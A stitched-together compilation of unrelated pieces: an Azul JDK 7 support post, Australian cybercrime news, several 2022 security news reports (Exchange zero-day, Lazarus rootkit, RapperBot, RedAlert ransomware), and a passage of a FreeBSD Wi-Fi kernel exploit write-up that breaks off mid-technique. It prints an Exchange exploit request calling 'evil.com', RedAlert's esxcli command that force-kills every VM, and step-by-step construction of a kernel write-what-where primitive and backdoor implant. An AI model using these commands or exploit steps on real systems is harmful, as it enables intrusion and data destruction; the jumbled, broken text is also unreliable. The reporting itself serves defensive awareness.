JDK 7: The Long Hello and the Long Goodbye

 

On July 7^th, 2011, eleven years ago, JDK 7 was released.  In some ways, it was one of the more significant releases of Java.  Indeed, there were some excellent technical features: Project Coin gave us things like try-with-resources, strings in switch and multi-catch. 

However, it was two non-technical aspects of JDK 7 that made it important. 

The first was that it was the first release since Oracle acquired Sun Microsystems.  The Java community had been unsure how Java would fare under Oracle, so this release showed a solid commitment to the platform (which has been maintained since then).

The second was even more important: the fact that a Java SE specification was published through the Java Community Process.  Due to issues around the availability of the TCK and the Apache Harmony project, new versions of OpenJDK had been stalled since December 2006.  To put this into context, the time between JDK 6 and JDK 7 (one release) was one month longer at four years and seven months than between JDK 9 and JDK 18 (nine releases).  Getting things moving again was vital to keeping Java relevant to developers as applications and architectures evolved.

Another significant date for JDK 7 is July 19^th this year.  That is when the last update will be made available from Oracle, even for commercially supported users.  It is the end of what Oracle terms Extended Support.

However, it turns out that there are still a significant number of people who are using JDK 7.  In almost all cases, this is not because users don’t want to move to a newer version; they’re just not in a position to be able to do so.  In many ways, this is one of Java’s strengths: you can just keep using an older version because your application doesn’t need features from newer releases.  If you can keep your implementation of JDK 7 updated with relevant security patches and bug fixes, why change?

Extending Support of JDK 7

Fortunately, if you are one of those users who are not in a position to migrate from JDK 7 to a newer release, Azul has a solution for you.  We will continue to provide updates (scheduled quarterly ones and any out-of-bounds) to our Zulu builds of OpenJDK 7 until at least December 2027 (see our Support Roadmap for more information).  Our highly skilled team of Java and JVM engineers will backport all applicable changes from the current release of Java to JDK 7.

That’s another five and a half years without figuring out how to migrate those trusty applications and with peace of mind that your Java runtime is as secure as possible.

A cybercrime is reported every seven minutes in Australia. How can we protect ourselves?

 Cybercrime ison the rise in Australia, with an incident reported every seven minutes, according to The Australian Cyber Security Centre (ACSC).

The ACSC's Annual Cyber Threat Report has shown the agency received more than 76,000 cybercrime reports in the 2021-22 financial year, an increase of nearly 13 per cent from the previous year.

So how significant is the issue of cybercrime, what can the authorities do about it, and should you be worried?

Defence minister and deputy prime minister Richard Marles told ABC Breakfast on Friday there were many factors driving the increase in cybercrime reports.

"In part we're living more of our lives online, and the pandemic has accelerated that ... but cybercrime is now big business, the average impact for a small business is $40,000 per incident, and something like $88,000 for medium businesses, so you can see there's a lot of money to be made by cyber criminals," he said.

"We're also seeing more state-based actors ... in the murky grey world that is cyberspace, we're seeing a lot of cross-pollination between state actors and cyber criminals and all of this is giving rise to a much more precarious environment for all of us online."

Mr Marles said the Optus data breach was a reminder for both individuals and businesses to be more vigilant.

"That incident [Optus breach] is something of a wake-up call ... in a way, I hope this annual cyber threat report adds to the wake-up call, not just for Optus but for the whole of the corporate sector and for individuals as well," he said.

"Cyberspace is a much more challenging environment ... there are a lot of pickpockets out there, this can be happening on a grand scale, so people do need to be more vigilant at an individual level."

What is the government doing?

Following the Optus and Medibank data breaches, the Albanese government introduced new legislation, increasing penalties on companies for serious or repeated privacy breaches.

Under the new legislation, penalties will rise from $2.22 million to whichever is the greater of $50 million, 30 per cent of the company's turnover in the relevant period, or three times the value of any benefit gained from the stolen data.

 

The deputy prime minister said fines would be "just part of the answer" when it comes to improving cybersecurity around the country.

"It's part of the answer ... I think we do need to be thinking about other ways we can go about this in a regulatory sense," he said.

"We're examining all of those options, I think a lot of this is about making sure that the systems are in place across the private sector, across government, that we are investing a lot more in this space - which we are doing"

How can you protect yourself?

Mr Marles said the release of the report was part of an increase in public messaging around the importance of cyber safety.

When it comes to individual protection, the ACSC recommends setting up secure passwords and setting up multi-step authentication whenever possible.

It also suggests regularly updating apps and systems to ensure you are up-to-date with security upgrades, and backing up files to external devices in case your accounts are ever compromised.

Using browsers with hardened security settings and turning off browsing history and cookies can also be beneficial.

Cyber Security Minister Clare O'Neil said businesses are expected to handle their customer's cyber data better in light of the "concerning" report.

"To big businesses around this country: you have got obligations to Australians, especially if you are collecting and keeping personal information about your customers," she told the Nine Network on Friday.

"I want the corporate sector to step up and do better."

What else did the report find?

The most at risk are Commonwealth and state government systems, making up more than one-third of all cyber incidents.

Health systems were the next big targets, mainly due to cyber criminals attacking vulnerable businesses that are more likely to pay ransoms to access their data back.

The security agency's head Abigail Bradshaw said cyber threats were constantly evolving and targeting the nation's critical infrastructure more frequently.

It blocked more than 24 million malicious domain requests, took down 29,000 attacks against Australian services and responded to 185 ransomware movements, which is a 75 per cent increase.

The agency was also involved in five successful operations taking down online criminal marketplaces and foreign scam networks.

---

Zimbra Releases Patch for Actively Exploited Vulnerability in its Collaboration Suite

Zimbra has released patches to contain an actively exploited security flaw in its enterprise collaboration suite that could be leveraged to upload arbitrary files to vulnerable instances.

Tracked as CVE-2022-41352 (CVSS score: 9.8), the issue affects a component of the Zimbra suite called Amavis, an open source content filter, and more specifically, the cpio utility it uses to scan and extract archives.

The flaw, in turn, is said to be rooted in another underlying vulnerability (CVE-2015-1197) that was first disclosed in early 2015, which according to Flashpoint was rectified, only to be subsequently reverted in later Linux distributions.

"An attacker can use cpio package to gain incorrect access to any other user accounts," Zimbra said in an advisory published last week, adding it "recommends pax over cpio."

Fixes are available in the following versions -

• Zimbra 9.0.0 Patch 27
• Zimbra 8.8.15 Patch 34

All an adversary seeking needs to do to weaponize the shortcoming is to send an email with a specially crafted TAR archive attachment that, upon being received, gets submitted to Amavis, which uses the cpio module to trigger the exploit.

Hackers Exploiting Dell Driver Vulnerability to Deploy Rootkit on Targeted Computers

 

The North Korea-backed Lazarus Group has been observed deploying a Windows rootkit by taking advantage of an exploit in a Dell firmware driver, highlighting new tactics adopted by the state-sponsored adversary.

The Bring Your Own Vulnerable Driver (BYOVD) attack, which took place in the autumn of 2021, is another variant of the threat actor's espionage-oriented activity called Operation In(ter)ception that's directed against aerospace and defense industries.

"The campaign started with spear-phishing emails containing malicious Amazon-themed documents and targeted an employee of an aerospace company in the Netherlands, and a political journalist in Belgium," ESET researcher Peter Kálnai said.

Attack chains unfolded upon the opening of the lure documents, leading to the distribution of malicious droppers that were trojanized versions of open source projects, corroborating recent reports from Google's Mandiant and Microsoft.

ESET said it uncovered evidence of Lazarus dropping weaponized versions of FingerText and sslSniffer, a component of the wolfSSL library, in addition to HTTPs-based downloaders and uploaders.

The intrusions also paved the way for the group's backdoor of choice dubbed BLINDINGCAN – also known as AIRDRY and ZetaNile – which an operator can use to control and explore compromised systems.

But what's notable about the 2021 attacks was a rootkit module that exploited a Dell driver flaw to gain the ability to read and write kernel memory. The issue, tracked as CVE-2021-21551, relates to a set of critical privilege escalation vulnerabilities in dbutil_2_3.sys.

"[This] represents the first recorded abuse of the CVE‑2021‑21551 vulnerability," Kálnai noted. "This tool, in combination with the vulnerability, disables the monitoring of all security solutions on compromised machines."

Named FudModule, the previously undocumented malware achieves its goals via multiple methods "either not known before or familiar only to specialized security researchers and (anti-)cheat developers," according to ESET.

"The attackers then used their kernel memory write access to disable seven mechanisms the Windows operating system offers to monitor its actions, like registry, file system, process creation, event tracing, etc., basically blinding security solutions in a very generic and robust way," Kálnai said. "Undoubtedly this required deep research, development, and testing skills."

This is not the first time the threat actor has resorted to using a vulnerable driver to mount its rootkit attacks. Just last month, AhnLab's ASEC detailed the exploitation of a legitimate driver known as "ene.sys" to disarm security software installed in the machines.

The findings are a demonstration of the Lazarus Group's tenacity and ability to innovate and shift its tactics as required over the years despite intense scrutiny of the collective's activities from both law enforcement and the broader research community.

"The diversity, number, and eccentricity in implementation of Lazarus campaigns define this group, as well as that it performs all three pillars of cybercriminal activities: cyber espionage, cyber sabotage, and pursuit of financial gain," the company said.

New Microsoft Exchange Zero-Day RCE Bug Actively Exploited by Hackers

 

New zero-day bugs existing in Microsoft Exchange that are not disclosed yet publicly are being exploited by the threat actors in order to perform remote code execution on affected systems.

These attacks are first spotted by security experts at Vietnamese cybersecurity outfit GTSC during a routine security checkup. Microsoft was notified privately three weeks ago of the security vulnerabilities by the researchers through their Zero Day Initiative program.

On compromised servers, the hackers deployed Chinese Chopper web shells by combining two zero-day vulnerabilities. While they deploy the malicious Chinese Chopper web shells for three primary illicit goals:-

• To gain persistence
• Data theft
• Move laterally to other systems

Apart from this, it has been presumed based on the code page of the web shells, the attack is being carried out by a Chinese threat group.

Webshell

In this case, the web shells are installed by Antsword’s user agent. With Web Shell management support, Antsword is an open-source website admin tool that is developed in Chinese.

It is still unclear what Microsoft has done about the two security flaws so far since the company has not yet assigned a CVE ID to any of them to ensure their tracking.

The researchers reported the security vulnerabilities to Microsoft privately three weeks ago through the Zero Day Initiative.

A very limited amount of information has been released about these zero-day flaws by GTSC. However, they did reveal that the attacks that targeted the ProxyShell flaws and the requests used in this exploit chain are completely identical.

Exploit stages

Two stages are involved in the exploit in order to work:-

• In IIS logs, exploit requests with the same format as the ProxyShell vulnerability have been detected:

autodiscover/autodiscover.json?@evil.com/<Exchange-backend-endpoint>&Email=autodiscover/autodiscover.json%3f@evil.com.

• It is possible to implement RCE in the backend with the help of the link above which can be operated to access an element in the backend.

Detection

Consequently, GTSC has released guidelines and a tool that can be used to look up IIS log files. This tool can be used to determine if this bug has exploited any Exchange servers or not.

• First of all, you have to use the Powershell command:

Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter “*.log” | Select-String -Pattern ‘powershell.*autodiscover\.json.*\@.*200

Apple Pay and Google Pay Security

 

Google Releases Urgent Chrome Update to Patch New Zero-Day Vulnerability

Google on Friday shipped emergency fixes to address a security vulnerability in the Chrome web browser that it said is being actively exploited in the wild.

The issue, assigned the identifier CVE-2022-3075, concerns a case of insufficient data validating in Mojo, which refers to a collection of runtime libraries that provide a platform-agnostic mechanism for inter-process communication (IPC).

An anonymous researcher has been credited with reporting the high-severity flaw on August 30, 2022.

"Google is aware of reports that an exploit for CVE-2022-3075 exists in the wild," the internet giant said, without delving into additional specifics about the nature of the attacks to prevent additional threat actors from taking advantage of the flaw.

The latest update makes it the sixth zero-day vulnerability in Chrome that Google has resolved since the start of the year -

• CVE-2022-0609 - Use-after-free in Animation
• CVE-2022-1096 - Type confusion in V8
• CVE-2022-1364 - Type confusion in V8
• CVE-2022-2294 - Heap buffer overflow in WebRTC
• CVE-2022-2856 - Insufficient validation of untrusted input in Intents

Users are recommended to upgrade to version 105.0.5195.102 for Windows, macOS, and Linux to mitigate potential threats. Users of Chromium-based browsers such as Microsoft Edge, Brave, Opera, and Vivaldi are also advised to apply the fixes as and when they become available.

High-severity vulnerability' found in Google Chrome browser

 Google Chrome users should install the latest security updates immediately, following reports that hackers are exploiting a "high-severity vulnerability" flaw, the Singapore Computer Emergency Response Team (SingCERT) said on Friday (Aug 19).

Google did not provide further information, but released Chrome 104.0.5112.101 for Mac and Linux, and Chrome 104.0.5112.102/101 for Windows to address multiple vulnerabilities.

The high-severity vulnerability is "being exploited in the wild", or active and can be found in devices belonging to ordinary users.

The security fix for this bug is included in an update currently being rolled out, and users who have automatic updates turned on are expected to receive it in the coming days or weeks, according to technology website Bleeping Computer.

SingCERT has advised Google Chrome users on Windows, Mac and Linux computers to install the latest security updates immediately.

They are also encouraged to enable the automatic update function in Chrome to ensure that their software is updated promptly.

The vulnerability is a high-severity security issue linked to "Intents” - a feature that enables launching applications and web services directly from a web page, Bleeping Computer reported.

The vulnerability was reported on Jul 19 by Ashley Shen and Christian Resell of the Google Threat Analyst Group.

Google said it was aware that an exploit for the bug exists in the wild, but may restrict access to bug details and links until a majority of users are updated with a fix. 

"We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven't yet fixed," it added.

New Linux malware brute-forces SSH servers to breach networks

 

A new botnet called 'RapperBot' is being used in attacks since mid-June 2022, focusing on brute-forcing its way into Linux SSH servers to establish a foothold on the device.

The researchers show that RapperBot is based on the Mirai trojan but deviates from the the original malware's normal behavior, which is uncontrolled propagation to as many devices as possible.

Instead, RapperBot is more tightly controlled, has limited DDoS capabilities, and its operation appears geared towards initial server access, likely to be used as stepping stones for lateral movement within a network.

Over the past 1.5 months since its discovery, the new botnet used over 3,500 unique IPs worldwide to scan and attempt brute-forcing Linux SSH servers.

Mirai-based, but different

The new botnet was discovered in the wild by threat hunters at Fortinet, who noticed the IoT malware featured some unusual SSH-related strings and decided to investigate further.

RapperBot proved to be a Mirai fork, but with its own command and control (C2) protocol, unique features, and atypical (for a botnet) post-compromise activity.

"Unlike the majority of Mirai variants, which natively brute force Telnet servers using default or weak passwords, RapperBot exclusively scans and attempts to brute force SSH servers configured to accept password authentication," explains the Fortinet report.

"The bulk of the malware code contains an implementation of an SSH 2.0 client that can connect and brute force any SSH server that supports Diffie-Hellmann key exchange with 768-bit or 2048-bit keys and data encryption using AES128-CTR."

The SSH brute-forcing relies on a list of credentials downloaded from the C2 via host-unique TCP requests, while the malware reports back to the C2 when it succeeded.

Fortinet researchers followed the bot and continued to sample new variants, noticing that RapperBot used a self-propagation mechanism via a remote binary downloader, which was removed by the threat actors in mid-July.

The newer variants circulating at that time featured a shell command that replaced the victim's SSH keys with the actor's, essentially establishing persistence that's maintained even after SSH password changes.

Moreover, RapperBot added a system to append the actor's SSH key to the host's "~/.ssh/authorized_keys," which helps maintain access on the server between reboots or even if the malware is found and deleted.

In the most recent samples analyzed by the researchers, the bot adds the root user "suhelper" on the compromised endpoints and creates a Cron job that re-adds the user every hour in case an admin discovers the account and deletes it.

RapperBot's attack overview (Fortinet)

Also, it's worth noting that the malware authors added extra layers of obfuscation to the strings in later samples, like XOR encoding.

String obfuscation added on later variants (Fortinet)

RapperBot's goal

Most botnets either perform DDoS attacks or engage in coin-mining by hijacking the host's available computational resources, and some do both.

The goal of RapperBot, however, isn't evident, as the authors have kept its DDoS functions limited and even removed and re-introduced them at some point.

Also, the removal of self-propagation and the addition of persistence and detection-avoidance mechanisms indicate that the botnet's operators may be interested in initial access sales to ransomware actors.

Fortinet reports that its analysts saw no additional payloads delivered post-compromise during the monitoring period, so the malware just nests on the infected Linux hosts and sits dormant.

Cyberspies use Google Chrome extension to steal emails undetected

 

A North Korean-backed threat group tracked as Kimsuky is using a malicious browser extension to steal emails from Google Chrome or Microsoft Edge users reading their webmail.

The extension, dubbed SHARPEXT by Volexity researchers who spotted this campaign in September, supports three Chromium-based web browsers (Chrome, Edge, and Whale) and can steal mail from Gmail and AOL accounts.

The attackers install the malicious extension after compromising a target's system using a custom VBS script by replacing the 'Preferences' and 'Secure Preferences' files with ones downloaded from the malware's command-and-control server.

Once the new preferences files are downloaded on the infected device, the web browser automatically loads the SHARPEXT extension.

"The malware directly inspects and exfiltrates data from a victim's webmail account as they browse it," Volexity said Thursday.

"Since its discovery, the extension has evolved and is currently at version 3.0, based on the internal versioning system."

As Volexity further revealed today, this latest campaign aligns with previous Kimsuky attacks as it also deploys the SHARPEXT "in targeted attacks on foreign policy, nuclear and other individuals of strategic interest" in the United States, Europe, and South Korea.

SHARPEXT workflow (Volexity)

Stealthy and highly effective attacks

By taking advantage of the target's already-logged-in session to steal emails, the attack remains undetected by the victim's email provider, thus making detection very challenging if not impossible.

Also, the extension's workflow will not trigger any suspicious activity alerts on the victims' accounts which ensures that the malicious activity will not be discovered by checking the webmail account's status page for alerts.

The North Korean threat actors can use SHARPEXT to collect a wide range of information using commands that:

• List previously collected emails from the victim to ensure duplicates are not uploaded. This list is continuously updated as SHARPEXT executes.
• List email domains with which the victim has previously communicated. This list is continuously updated as SHARPEXT executes.
• Collect a blacklist of email senders that should be ignored when collecting emails from the victim.
• Add a domain to the list of all domains viewed by the victim.
• Upload a new attachment to the remote server.
• Upload Gmail data to the remote server.
• Commented by the attacker; receive an attachments list to be exfiltrated.
• Upload AOL data to the remote server.

This is not the first time the North Korean APT group has used browser extensions to harvest and exfiltrate confidential data from targets' breached systems.

As Netscout's ASERT Team said in December 2018, a spear-phishing campaign orchestrated by Kimsuky pushed a malicious Chrome extension since at least May 2018 in attacks targeting a large number of academic entities across multiple universities.

Tor Browser now bypasses internet censorship automatically

 

The Tor Project team has announced the release of Tor Browser 11.5, a major release that brings new features to help users fight censorship easier.

The Tor Browser has been created specifically for accessing sites through The Onion Router (Tor) network to offer users anonymity and privacy when accessing information on the internet.

It achieves this by routing traffic through nodes on the network and encrypting it at every step. The connection reaches the destination through an exit node that is used to relay the information back to the user.

Auto block bypassing

The updates in Tor Browser 11.5 focus on circumventing censorship, a process that started a year ago in version 10.5 with improving the Tor connection experience.

In the new version, users no longer have to manually try out bridge configurations to unblock Tor.

Tor Browser version 11.5 comes with a new feature called “Connection Assist”, which assigns automatically the bridge configuration known to work best for the user’s location.

“Connection Assist works by looking up and downloading an up-to-date list of country-specific options to try using your location (with your consent),” explains the release announcement.

“It manages to do so without needing to connect to the Tor Network first by utilizing moat – the same domain-fronting tool that Tor Browser uses to request a bridge from torproject.org.”

Connection Assist in action (Tor)

Since Connection Assist is still in an early stage of development (v1.0), the Tor team welcomes user feedback and reports, which would help them iron out any kinks and improve on the system.

HTTPS on by default

Another important new feature in version 11.5 is making ‘HTTPS-Only Mode’ the default browsing mode, so that the connection is through a secure tunnel.

This ensures that all data exchange between the user and the server hosting the website will be encrypted, to defend against man-in-the-middle (MitM) attacks and to protect users from SSL stripping on malicious exit relays.

The Tor team assures users that SecureDrop will continue to work as intended despite the deprecation and replacement of the HTTPS-Everywhere extension that served as an onion name interpreter.

The only exception to replacing HTTPS-Everywhere with the new HTTPS-Only Mode is Android, which has generally fallen behind.

Tor’s development team admitted this and promised to do more about Android, releasing updates more frequently, fixing the many bugs that have accumulated, and catching up with the Fenix (Firefox for Android) releases.

Better settings

The third significant improvement in Tor Browser 11.5 is a heavily revamped Network Settings menu, now called “Connection Settings”, which should make it easier to find and understand specific settings.

Most notably, bridge configuration and connection options have been redesigned to enable quick and easy review and management.

Using emojis on the saved Bridges, the new interface offers visualization for the configuration for the first time, making it easy to identify the right bridge and select it when needed.

Redesigned network settings (Tor)

You can download the latest Tor Browser from the official download portal as an installable package or a portable binary for your OS architecture.

New RedAlert Ransomware targets Windows, Linux VMware ESXi servers

 

A new ransomware operation called RedAlert, or N13V, encrypts both Windows and Linux VMWare ESXi servers in attacks on corporate networks.

 

 

The new operation was discovered today by MalwareHunterTeam, who tweeted various images of the gang’s data leak site.

The ransomware has been called ‘RedAlert’ based on a string used in the ransom note. However, from a Linux encryptor obtained by BleepingComputer, the threat actors call their operation ‘N13V’ internally, as shown below.

 

RedAlert / N13V ransomware command-line options
Source: BleepingComputer

 

The Linux encryptor is created to target VMware ESXi servers, with command-line options that allow the threat actors to shut down any running virtual machines before encrypting files.

The full list of command-line options can be seen below.

-w	 Run command for stop all running VM`s
-p	 Path to encrypt (by default encrypt only files in directory, not include subdirectories)
-f	 File for encrypt
-r	 Recursive. used only with -p ( search and encryption will include subdirectories )
-t	 Check encryption time(only encryption, without key-gen, memory allocates ...)
-n	 Search without file encryption.(show ffiles and folders with some info)
-x	 Asymmetric cryptography performance tests. DEBUG TESTS
-h	 Show this message

When running the ransomware with the ‘-w‘ argument, the Linux encryptor will shut down all running VMware ESXi virtual machines using the following esxcli command:

esxcli --formatter=csv --format-param=fields=="WorldID,DisplayName" vm process list | tail -n +2 | awk -F $',' '{system("esxcli vm process kill --type=force --world-id=" $1)}'

 

When encrypting files, the ransomware utilizes the NTRUEncrypt public-key encryption algorithm, which support various ‘Parameter Sets’ that offer different levels of security.

An interesting feature of RedAlert/N13V is the ‘-x’ command-line option that performs ‘asymmetric cryptography performance testing’ using these different NTRUEncrypt parameter sets. However, it is unclear if there is a way to force a particular parameter set when encrypting and/or if the ransomware will select a more efficient one.

The only other ransomware operation known to use this encryption algorithm is FiveHands.

 

NTRUEncrypt encryption speed test
Source: BleepingComputer

 

When encrypting files, the ransomware will only target files associated with VMware ESXi virtual machines, including log files, swap files, virtual disks, and memory files, as listed below.

.log
.vmdk
.vmem
.vswp
.vmsn

In the sample analyzed by BleepingComputer, the ransomware would encrypt these file types and append the .crypt658 extension to the file names of encrypted files.

 

Encrypting files in Linux with RedAlert
Source: BleepingComputer

 

In each folder, the ransomware will also create a custom ransom note named HOW_TO_RESTORE, which contains a description of the stolen data and a link to a unique TOR ransom payment site for the victim.

 

Red Alert / N13V ransom note
Source: BleepingComputer

 

The Tor payment site is similar to other ransomware operation sites as it displays the ransom demand and provides a way to negotiate with the threat actors.

However, RedAlert/N13V only accepts the Monero cryptocurrency for payment, which is not commonly sold in USA crypto exchanges because it is a privacy coin.

 

RedAlert / N13V Tor negotiation site
Source: BleepingComputer

 

While only a Linux encryptor has been found, the payment site has hidden elements showing that Windows decryptors also exist.

 

“Board of Shame”

 

Like almost all new enterprise-targeting ransomware operations, RedAlert conducts double-extortion attacks, which is when data is stolen, and then ransomware is deployed to encrypt devices.

This tactic provides two extortion methods, allowing the threat actors to not only demand ransom to receive a decryptor but also demand one to prevent the leaking of stolen data.

When a victim does not pay a ransom demand, the RedAlert gang publishes stolen data on their data leak site that anyone can download.

 

RedAlert / N13V Data Leak Site
Source: BleepingComputer

 

Currently, the RedAlert data leak site only contains the data for one organization, indicating that the operation is very new.

While there has not been a lot of activity with the new N13V/RedAlert ransomware operation, it is one that we will definitely need to keep an eye on due to its advanced functionality and immediate support for both Linux and Windows.

微软Exchange被爆高危后门 可用于窃取凭证等

 

卡巴斯基的安全团队发布了一份令人担忧的报告。报告指出在 Exchange 服务器上发现了一个全新的、难以检测的后门。这种名为 SessionManager 的恶意软件于 2022 年初首次被发现。

Exchange 被全球多个国家的政府、医疗机构、军事组织、非政府组织等广泛使用，因此该后门的破坏力可以说是非常惊人的。

卡巴斯基安全团队表示 SessionManager 恶意软件样本目前并没有被大多数主流在线文件扫描服务标记。此外，在 90% 的目标组织中，SessionManager 感染会持续存在。

SessionManager 背后的威胁参与者在过去 15 个月里一直在使用它。卡巴斯基怀疑一个名为 Gelsemium 的黑客组织对这些攻击负责，因为黑客模式符合该组织的 MO。然而，分析师无法证实 Gelsemium 是罪魁祸首。

该恶意软件使用为微软 Internet Information Services (IIS) Web 服务器软件编写的强大的恶意本机代码模块。安装后，它们将响应特殊的 HTTP 请求以收集敏感信息。攻击者还可以完全控制服务器，部署额外的黑客工具，并将它们用于其他恶意目的。

有趣的是，安装 SessionManager 的过程依赖于利用一组统称为 ProxyLogon (CVE-2021-26855) 的漏洞。去年，微软表示，超过 90% 的 Exchange 服务器已被修补或缓解，但这仍然使许多已经受到攻击的服务器面临风险。

CVE-2022-23088: Exploiting a Heap Overflow in the FreeBSD Wi-Fi Stack

 ur goal is to achieve kernel remote code execution on a target FreeBSD system using a heap overflow vulnerability in the Wi-Fi stack of the FreeBSD kernel. This vulnerability has been assigned CVE-2022-23088 and affects all FreeBSD versions since 2009, along with many FreeBSD derivatives such as pfSense and OPNsense. It was patched by the FreeBSD project in April 2022.

The Vulnerability

When a system is scanning for available Wi-Fi networks, it listens for management frames that are emitted by Wi-Fi access points in its vicinity. There are several types of management frames, but we are interested in only one: the beacon management subtype. A beacon frame has the following format:

struct ieee80211_beacon {

uint8_t i_fc[2];

uint8_t i_dur[2];

uint8_t i_addr1[IEEE80211_ADDR_LEN];

uint8_t i_addr2[IEEE80211_ADDR_LEN];

uint8_t i_addr3[IEEE80211_ADDR_LEN];

uint8_t i_seq[2];

// ... sequence of ieee80211_option structures of varying lengths ...

};

struct ieee80211_option {

uint8_t id;

uint8_t len;

// ... ‘len’ bytes of data ...

};

view raw CVE-2022-23088-0.c hosted with ❤ by GitHub

In FreeBSD, beacon frames are parsed in ieee80211_parse_beacon(). This function iterates over the sequence of options in the frame and keeps pointers to the options it will use later.

One option, IEEE80211_ELEMID_MESHID, is particularly interesting:

wh = mtod(m, struct ieee80211_frame *);

frm = (uint8_t *)&wh[1];

efrm = mtod(m, uint8_t *) + m->m_len;

// [...]

// Iterate over the sequence of options in the packet

while (efrm - frm > 1) {

// [...]

switch (*frm) {

// [...]

case IEEE80211_ELEMID_MESHID:

// Keep a pointer to the packet’s MeshId option

scan->meshid = frm;

break;

// [...]

}

// Advance to the next option

frm += frm[1] + 2;

}

view raw CVE-2022-23088-1.c hosted with ❤ by GitHub

There is no sanity check performed on the option length (frm[1]). Later, in function sta_add(), there is a memcpy that takes this option length as size argument and a fixed-size buffer as destination:

if (sp->meshid != NULL && sp->meshid[1] != 0)

memcpy(ise->se_meshid, sp->meshid, 2+sp->meshid[1]);

view raw CVE-2022-23088-2.c hosted with ❤ by GitHub

Due to the lack of a sanity check on the option length, there is an ideal buffer overflow condition here: the attacker can control both the size of the overflow (sp->meshid[1]) as well as the contents that will be written (sp->meshid).

Therefore, when a FreeBSD system is scanning for available networks, an attacker can trigger a kernel heap overflow by sending a beacon frame that has an oversized IEEE80211_ELEMID_MESHID option.

Building a “Write-What-Where” Primitive

Let’s look at ise->se_meshid, the buffer that is overflown during the memcpy. It is defined in the ieee80211_scan_entry structure:

struct ieee80211_scan_entry {

// [...]

uint8_t se_meshid[2+IEEE80211_MESHID_LEN]; // #define IEEE80211_MESHID_LEN 32

struct ieee80211_ies se_ies;

// [...]

};

view raw CVE-2022-23088-3.c hosted with ❤ by GitHub

Here, the overflow of se_meshid allows us to overwrite the se_ies field that follows. The se_ies field is of type struct ieee80211_ies, defined as follows:

struct ieee80211_ies {

uint8_t *wpa_ie;

uint8_t *rsn_ie;

uint8_t *wme_ie;

uint8_t *ath_ie;

uint8_t *htcap_ie;

uint8_t *htinfo_ie;

uint8_t *tdma_ie;

uint8_t *meshid_ie;

uint8_t *vhtcap_ie;

uint8_t *vhtopmode_ie;

uint8_t *vhtpwrenv_ie;

uint8_t *apchanrep_ie;

uint8_t *bssload_ie;

uint8_t *spare[4];

uint8_t *data; // [1/2] Remember these two fields

int len; // [2/2]

};

view raw CVE-2022-23088-4.c hosted with ❤ by GitHub

We will be interested in overwriting the last two fields: data and len.

Back in sta_add(), not long after the memcpy, there is a function call that uses the se_ies field:

if (sp->meshid != NULL && sp->meshid[1] != 0)

// This can overwrite ‘se_ies’

memcpy(ise->se_meshid, sp->meshid, 2+sp->meshid[1]);

// [...]

// This uses ‘se_ies’ as first argument

(void) ieee80211_ies_init(&ise->se_ies, sp->ies, sp->ies_len);

view raw CVE-2022-23088-5.c hosted with ❤ by GitHub

This ieee80211_ies_init() function is defined as:

// ‘ies’ can be overflown into, so we can fully control its contents

int

ieee80211_ies_init(struct ieee80211_ies *ies, const uint8_t *data, int len)

{

memset(ies, 0, offsetof(struct ieee80211_ies, data));

$0 if (ies->data != NULL && ies->len != len) { // <-- Ayy, we control these two fields

IEEE80211_FREE(ies->data, M_80211_NODE_IE);

ies->data = NULL;

}

if (ies->data == NULL) {

ies->data = (uint8_t *) IEEE80211_MALLOC(len, M_80211_NODE_IE,

IEEE80211_M_NOWAIT | IEEE80211_M_ZERO);

if (ies->data == NULL) {

ies->len = 0;

return 0;

}

}

$1 memcpy(ies->data, data, len); // <-- I believe in miracles

ies->len = len;

return 1;

}

view raw CVE-2022-23088-6.c hosted with ❤ by GitHub

The data parameter here points to the beginning of the beacon options in the frame, and len is the full length of all the beacon options. In other words, the (data,len) couple describes the options buffer that is part of the frame that the attacker sent:

Figure 1 - The Options Buffer

As noted in the code snippet, the ies structure is fully attacker-controlled thanks to the buffer overflow.

Therefore, at $1:

       -- We can control len, given that this is the full size of the options buffer, and we can decide that size by just adding or removing options to our frame.
       -- We can control the contents of data, given that this is the contents of the options buffer.
       -- We can control the ies->data pointer, by overflowing into it.

We thus have a near-perfect write-what-where primitive that allows us to write almost whatever data we want at whatever kernel memory address we want just by sending one beacon frame that has an oversized MeshId option.

Constraints on the Primitive

A few constraints apply to the primitive:

1. The FreeBSD kernel expects there to be SSID and Rates options in the frame. That means that there are 2x2=4 bytes of the options buffer that we cannot control. In addition, our oversized MeshId option has a 2-byte header, so that makes 6 bytes we cannot control. For convenience and simplicity, we will place these bytes at the beginning of the options buffer.

2. Our oversized MeshId option must be large enough to overwrite up to the ies->data and ies->len fields, but not more. This equates to a length of 182 bytes for the MeshId option, plus its 2-byte header. To accommodate the MeshId option plus the two options mentioned above, we will use an options buffer of size 188 bytes.

3. The ies->data and ies->len fields we overwrite are respectively the last 8 and 4 bytes within the options buffer, so they too are constrained.

4. The ies->len field must be equal to len for the branch at $0 not to be taken.

The big picture of what the frame looks like given the aforementioned constraints:

Figure 2 - The Big Picture

Maintaining stability of the target

Let’s say we send a beacon frame that uses the primitive to overwrite an area of kernel memory. There is going to be a problem at some point when the kernel subsequently tries to free ies->data. This is because ies->data is supposed to point to a malloc-allocated buffer, which may no longer be true after our overwrite.

To maintain stability and avoid crashing the target, we can send a second, corrective beacon frame that overflows ies->data to be NULL and ies->len to be 0. After that, when the kernel attempts to free ies->data, it will see that the pointer is NULL, and won’t do anything as a result. This allows us to maintain the stability of the target and ensure our primitive doesn’t crash it.

Choosing what to write, and where to write it

Now we have a nice write-what-where primitive that we can invoke with just one beacon frame plus one corrective frame. What exactly can we do with it now?

A first thought might be to use the primitive to overwrite the instructions that the kernel executes in memory. (Un)fortunately, in FreeBSD, the kernel text segment is not writable, so we cannot use our primitive to directly overwrite kernel instructions. Furthermore, the kernel implements W^X, so no writable pages are executable.

However, the page tables that map executable pages are writable.

Injecting an implant

Here we are going to inject an implant into the target's kernel that will process "commands" that we send to it later on via subsequent Wi-Fi frames — a full kernel backdoor, if you will.

The process of injecting this implant will take four beacon frames.

This is a bit of a bumpy technical ride, so fasten your seatbelt.

Frame 1: Injecting the payload

Background: the direct map is a special kernel memory region that contiguously maps the entire physical memory of the system as writable pages, except for the physical pages of read-only text segments.

We use the primitive to write data at the physical address 0x1000 using the direct map:

Figure 3 - Frame 1

0x1000 was chosen as a convenient physical address because it is unused. The data we write is as follows:

Figure 4 - Frame 1

The implant shellcode area contains the instructions of our implant. The rest of the fields are explained below.

Frame 2: Overwriting an L3 PTE

